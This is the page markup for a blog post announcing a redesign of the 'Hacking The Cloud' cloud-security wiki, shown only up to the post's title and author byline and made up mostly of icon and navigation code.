23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6 checked> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=true> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=./ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#why-the-change class=md-nav__link> <span class=md-ellipsis> Why the Change? </span> </a> </li> <li class=md-nav__item> <a href=#why-material-for-mkdocs class=md-nav__link> <span class=md-ellipsis> Why Material for MkDocs? </span> </a> </li> <li class=md-nav__item> <a href=#what-does-this-mean-for-you class=md-nav__link> <span class=md-ellipsis> What Does This Mean for You? </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/blog/v2_new_look.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Hacking The Cloud v2: New Look</h1> <aside style=display:flex> <p><a class=glightbox href="https://avatars.githubusercontent.com/u/10386884?v=4" data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src="https://avatars.githubusercontent.com/u/10386884?v=4" style=width:44px;height:44px;margin:5px;border-radius:100%></a></p> <p><span><strong>Nick Frichette</strong> · @frichette_n · <a href=https://twitter.com/Frichette_n><span class="twemoji twitter"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 